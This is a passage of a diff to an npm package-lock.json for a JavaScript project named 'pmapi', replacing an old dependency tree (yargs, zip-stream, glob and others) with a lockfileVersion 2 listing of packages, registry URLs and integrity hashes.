{ - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz", - "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=", - "dev": true - }, - "yargs": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-7.1.0.tgz", - "integrity": "sha1-a6MY6xaWFyf10oT46gA+jWFU0Mg=", - "dev": true, - "requires": { - "camelcase": "^3.0.0", - "cliui": "^3.2.0", - "decamelize": "^1.1.1", - "get-caller-file": "^1.0.1", - "os-locale": "^1.4.0", - "read-pkg-up": "^1.0.1", - "require-directory": "^2.1.1", - "require-main-filename": "^1.0.1", - "set-blocking": "^2.0.0", - "string-width": "^1.0.2", - "which-module": "^1.0.0", - "y18n": "^3.2.1", - "yargs-parser": "^5.0.0" - }, - "dependencies": { - "camelcase": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-3.0.0.tgz", - "integrity": "sha1-MvxLn82vhF/N9+c7uXysImHwqwo=", - "dev": true - } - } - }, - "yargs-parser": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-5.0.0.tgz", - "integrity": "sha1-J17PDX/+Bcd+ZOfIbkzZS/DhIoo=", - "dev": true, - "requires": { - "camelcase": "^3.0.0" - }, - "dependencies": { - "camelcase": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-3.0.0.tgz", - "integrity": "sha1-MvxLn82vhF/N9+c7uXysImHwqwo=", - "dev": true - } - } - }, - "zip-stream": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/zip-stream/-/zip-stream-2.1.0.tgz", - "integrity": "sha512-F/xoLqlQShgvn1BzHQCNiYIoo2R93GQIMH+tA6JC3ckMDkme4bnhEEXSferZcG5ea/6bZNx3GqSUHqT8TUO6uQ==", - "dev": true, - "requires": { - "archiver-utils": "^2.1.0", - "compress-commons": "^2.0.0", - "readable-stream": "^3.4.0" - }, - "dependencies": { - "archiver-utils": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/archiver-utils/-/archiver-utils-2.1.0.tgz", - "integrity": "sha512-bEL/yUb/fNNiNTuUz979Z0Yg5L+LzLxGJz8x79lYmR54fmTIb6ob/hNQgkQnIUDWIFjZVQwl9Xs356I6BAMHfw==", - "dev": true, - "requires": { - "glob": "^7.1.4", - "graceful-fs": "^4.2.0", - "lazystream": "^1.0.0", - "lodash.defaults": "^4.2.0", - "lodash.difference": "^4.5.0", - "lodash.flatten": "^4.4.0", - "lodash.isplainobject": "^4.0.6", - "lodash.union": "^4.6.0", - "normalize-path": "^3.0.0", - "readable-stream": "^2.0.0" - }, - "dependencies": { - "readable-stream": { - "version": "2.3.6", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", - "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", - "dev": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - } - } - }, - "compress-commons": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/compress-commons/-/compress-commons-2.0.0.tgz", - "integrity": "sha512-gnETNngrfsAoLBENM8M0DoiCDJkHwz3OfIg4mBtqKDcRgE4oXNwHxHxgHvwKKlrcD7eZ7BVTy4l8t9xVF7q3FQ==", - "dev": true, - "requires": { - "buffer-crc32": "^0.2.13", - "crc32-stream": "^2.0.0", - "normalize-path": "^3.0.0", - "readable-stream": "^2.3.6" - }, - "dependencies": { - "readable-stream": { - "version": "2.3.6", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", - "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", - "dev": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - } - } - }, - "glob": { - "version": "7.1.4", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.4.tgz", - "integrity": "sha512-hkLPepehmnKk41pUGm3sYxoFs/umurYfYJCerbXEyFIWcAzvpipAgVkBqqT9RBKMGjnq6kMuyYwha6csxbiM1A==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - }, - "graceful-fs": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.0.tgz", - "integrity": "sha512-jpSvDPV4Cq/bgtpndIWbI5hmYxhQGHPC4d4cqBPb4DLniCfhJokdXhwhaDuLBGLQdvvRum/UiX6ECVIPvDXqdg==", - "dev": true - }, - "normalize-path": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", - "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", - "dev": true - }, - "process-nextick-args": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", - "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", - "dev": true - }, - "readable-stream": { - "version": "3.4.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.4.0.tgz", - "integrity": "sha512-jItXPLmrSR8jmTRmRWJXCnGJsfy85mB3Wd/uINMXA65yrnFo0cPClFIUWzo2najVNSl+mx7/4W8ttlLWJe99pQ==", - "dev": true, - "requires": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - } - }, - "string_decoder": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", - "dev": true, - "requires": { - "safe-buffer": "~5.1.0" - } - } - } - } - } -} +{ + "name": "pmapi", + "version": "2.6.0", + "lockfileVersion": 2, + "requires": true, + "packages": { + "": { + "name": "pmapi", + "version": "2.6.0", + "license": "ISC", + "dependencies": { + "@wordpress/url": "^2.15.0", + "babel-preset-stage-2": "^6.24.1", + "chart.js": "^2.7.1", + "classnames": "^2.2.6", + "fullcalendar": "3.6.2", + "jquery-timepicker": "^1.3.3", + "lodash": "^4.17.15", + "moment": "^2.19.1", + "moment-timezone": "^0.5.13", + "nprogress": "^0.2.0", + "toastr": "^2.1.2", + "underscore": "^1.10.2", + "v-autocomplete": "^1.8.2", + "vue": "^2.5.2", + "vue-color": "^2.4.5", + "vue-fragment": "^1.5.1", + "vue-fullscreen": "^2.1.5", + "vue-multiselect": "^2.0.3", + "vue-popperjs": "^1.6.3", + "vue-router": "^3.0.1", + "vue2-daterange-picker": "^0.5.1", + "vuex": "^3.0.0" + }, + "devDependencies": { + "@babel/cli": "^7.10.5", + "@babel/preset-env": "^7.10.4", + "@wordpress/dependency-extraction-webpack-plugin": "^2.8.0", + "@wordpress/hooks": "^2.0.5", + "ajv": "^5.2.2", + "ajv-keywords": "^2.1.0", + "babel-cli": "^6.26.0", + "babel-core": "^6.26.0", + "babel-loader": "^7.1.5", + "babel-plugin-syntax-dynamic-import": "^6.18.0", + "babel-plugin-transform-object-rest-spread": "^6.26.0", + "babel-plugin-transform-runtime": "^6.23.0", + "babel-preset-env": "^1.6.1", + "babel-preset-es2015": "^6.24.1", + "babel-preset-react": "^6.24.1", + "cli": "^1.0.1", + "codeceptjs": "^2.6.11", + "coffee-loader": "^0.8.0", + "coffeescript": "^1.12.7", + "cross-env": "^5.2.0", + "css-loader": "^0.28.7", + "due": "0.0.18", + "es6-promise": "^4.2.4", + "eslint": "^4.5.0", + "eslint-loader": "^1.9.0", + "extract-text-webpack-plugin": "^3.0.2", + "file-loader": "^0.11.2", + "grunt": "^1.0.3", + "grunt-browserify": "^5.3.0", + "grunt-contrib-clean": "^1.0.0", + "grunt-contrib-compress": "^1.4.1", + "grunt-contrib-concat": "^1.0.1", + "grunt-contrib-copy": "^1.0.0", + "grunt-contrib-jshint": "^1.1.0", + "grunt-contrib-less": "^2.0.0", + "grunt-contrib-watch": "^1.1.0", + "grunt-run": "^0.8.0", + "grunt-ssh": "^0.12.9", + "grunt-text-replace": "^0.4.0", + "grunt-wp-i18n": "^1.0.2", + "jed": "^1.1.1", + "less": "^3.7.1", + "less-loader": "^4.1.0", + "lodash": "^4.17.19", + "node-sass": "^4.13.1", + "npm": "^6.14.18", + "optimize-css-assets-webpack-plugin": "^5.0.0", + "partialify": "^3.1.6", + "promise-polyfill": "^6.0.2", + "pug": "^3.0.1", + "react": "^15.6.1", + "rimraf": "^2.6.1", + "sass-loader": "^6.0.6", + "shx": "^0.2.2", + "style-loader": "^0.19.1", + "uglify-js": "^3.4.4", + "uglifyjs-webpack-plugin": "^1.2.4", + "url-loader": "^1.1.2", + "vue-loader": "^13.0.4", + "vue-template-compiler": "^2.4.2", + "watch": "^1.0.2", + "webpack": "^3.12.0", + "wp-vue-i18n": "^1.1.3" + } + }, + "node_modules/@ampproject/remapping": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.0.tgz", + "integrity": "sha512-qRmjj8nj9qmLTQXXmaR1cck3UXSRMPrbsLJAasZpF+t3riI71BXed5ebIOYwQntykeZuhjsdweEc9BxH5Jc26w==", + "peer": true, + "dependencies": { + "@jridgewell/gen-mapping": "^0.1.0", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/cli": { + "version": "7.10.5", + "resolved": "https://registry.npmjs.org/@babel/cli/-/cli-7.10.5.tgz", + "integrity": "sha512-j9H9qSf3kLdM0Ao3aGPbGZ73mEA9XazuupcS6cDGWuiyAcANoguhP0r2Lx32H5JGw4sSSoHG3x/mxVnHgvOoyA==", + "dev": true, + "dependencies": { + "commander": "^4.0.1", + "convert-source-map": "^1.1.0", + "fs-readdir-recursive": "^1.1.0", + "glob": "^7.0.0", + "lodash": "^4.17.19", + "make-dir": "^2.1.0", + "slash": "^2.0.0", + "source-map": "^0.5.0" + }, + "bin": { + "babel": "bin/babel.js", + "babel-external-helpers": "bin/babel-external-helpers.js" + }, + "optionalDependencies": { + "chokidar": "^2.1.8" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/cli/node_modules/anymatch": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz", + "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", + "dev": true, + "optional": true, + "dependencies": { + "micromatch": "^3.1.4", + "normalize-path": "^2.1.1" + } + }, + "node_modules/@babel/cli/node_modules/anymatch/node_modules/normalize-path": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz", + "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=", + "dev": true, + "optional": true, + "dependencies": { + "remove-trailing-separator": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", + "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", + "dev": true, + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", + "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", + "dev": true, + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/braces": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", + "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", + "dev": true, + "optional": true, + "dependencies": { + "arr-flatten": "^1.1.0", + "array-unique": "^0.3.2", + "extend-shallow": "^2.0.1", + "fill-range": "^4.0.0", + "isobject": "^3.0.1", + "repeat-element": "^1.1.2", + "snapdragon": "^0.8.1", + "snapdragon-node": "^2.0.1", + "split-string": "^3.0.2", + "to-regex": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/braces/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "optional": true, + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/chokidar": { + "version": "2.1.8", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.1.8.tgz", + "integrity": "sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==", + "deprecated": "Chokidar 2 does not receive security updates since 2019. Upgrade to chokidar 3 with 15x fewer dependencies", + "dev": true, + "optional": true, + "dependencies": { + "anymatch": "^2.0.0", + "async-each": "^1.0.1", + "braces": "^2.3.2", + "glob-parent": "^3.1.0", + "inherits": "^2.0.3", + "is-binary-path": "^1.0.0", + "is-glob": "^4.0.0", + "normalize-path": "^3.0.0", + "path-is-absolute": "^1.0.0", + "readdirp": "^2.2.1", + "upath": "^1.1.1" + }, + "optionalDependencies": { + "fsevents": "^1.2.7" + } + }, + "node_modules/@babel/cli/node_modules/commander": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", + "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/@babel/cli/node_modules/expand-brackets": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", + "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", + "dev": true, + "optional": true, + "dependencies": { + "debug": "^2.3.3", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "posix-character-classes": "^0.1.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/expand-brackets/node_modules/define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dev": true, + "optional": true, + "dependencies": { + "is-descriptor": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/expand-brackets/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "optional": true, + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/expand-brackets/node_modules/is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", + "dev": true, + "optional": true, + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/expand-brackets/node_modules/is-accessor-descriptor/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "optional": true, + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/expand-brackets/node_modules/is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", + "dev": true, + "optional": true, + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/expand-brackets/node_modules/is-data-descriptor/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "optional": true, + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/expand-brackets/node_modules/is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "dev": true, + "optional": true, + "dependencies": { + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/expand-brackets/node_modules/kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true, + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/extglob": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", + "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", + "dev": true, + "optional": true, + "dependencies": { + "array-unique": "^0.3.2", + "define-property": "^1.0.0", + "expand-brackets": "^2.1.4", + "extend-shallow": "^2.0.1", + "fragment-cache": "^0.2.1", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/extglob/node_modules/define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "dev": true, + "optional": true, + "dependencies": { + "is-descriptor": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/extglob/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "optional": true, + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/fill-range": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", + "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", + "dev": true, + "optional": true, + "dependencies": { + "extend-shallow": "^2.0.1", + "is-number": "^3.0.0", + "repeat-string": "^1.6.1", + "to-regex-range": "^2.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/fill-range/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "optional": true, + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/fsevents": { + "version": "1.2.13", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.13.tgz", + "integrity": "sha512-oWb1Z6mkHIskLzEJ/XWX0srkpkTQ7vaopMQkyaEIoq0fmtFVxOthb8cCxeT+p3ynTdkk/RZwbgG4brR5BeWECw==", + "deprecated": "fsevents 1 will break on node v14+ and could be using insecure binaries. Upgrade to fsevents 2.", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "dependencies": { + "bindings": "^1.5.0", + "nan": "^2.12.1" + }, + "engines": { + "node": ">= 4.0" + } + }, + "node_modules/@babel/cli/node_modules/glob-parent": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz", + "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", + "dev": true, + "optional": true, + "dependencies": { + "is-glob": "^3.1.0", + "path-dirname": "^1.0.0" + } + }, + "node_modules/@babel/cli/node_modules/glob-parent/node_modules/is-glob": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", + "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", + "dev": true, + "optional": true, + "dependencies": { + "is-extglob": "^2.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "optional": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "optional": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "optional": true, + "dependencies": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", + "dev": true, + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/is-glob": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", + "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==", + "dev": true, + "optional": true, + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", + "dev": true, + "optional": true, + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/is-number/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "optional": true, + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true, + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "dev": true, + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/make-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", + "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==", + "dev": true, + "dependencies": { + "pify": "^4.0.1", + "semver": "^5.6.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@babel/cli/node_modules/micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "dev": true, + "optional": true, + "dependencies": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/nan": { + "version": "2.14.1", + "resolved": "https://registry.npmjs.org/nan/-/nan-2.14.1.tgz", + "integrity": "sha512-isWHgVjnFjh2x2yuJ/tj3JbwoHu3UC2dX5G/88Cm24yB6YopVgxvBObDY7n5xW6ExmFhJpSEQqFPvq9zaXc8Jw==", + "dev": true, + "optional": true + }, + "node_modules/@babel/cli/node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/cli/node_modules/pify": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", + "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/@babel/cli/node_modules/readdirp": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz", + "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==", + "dev": true, + "optional": true, + "dependencies": { + "graceful-fs": "^4.1.11", + "micromatch": "^3.1.10", + "readable-stream": "^2.0.2" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/@babel/cli/node_modules/slash": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-2.0.0.tgz", + "integrity": 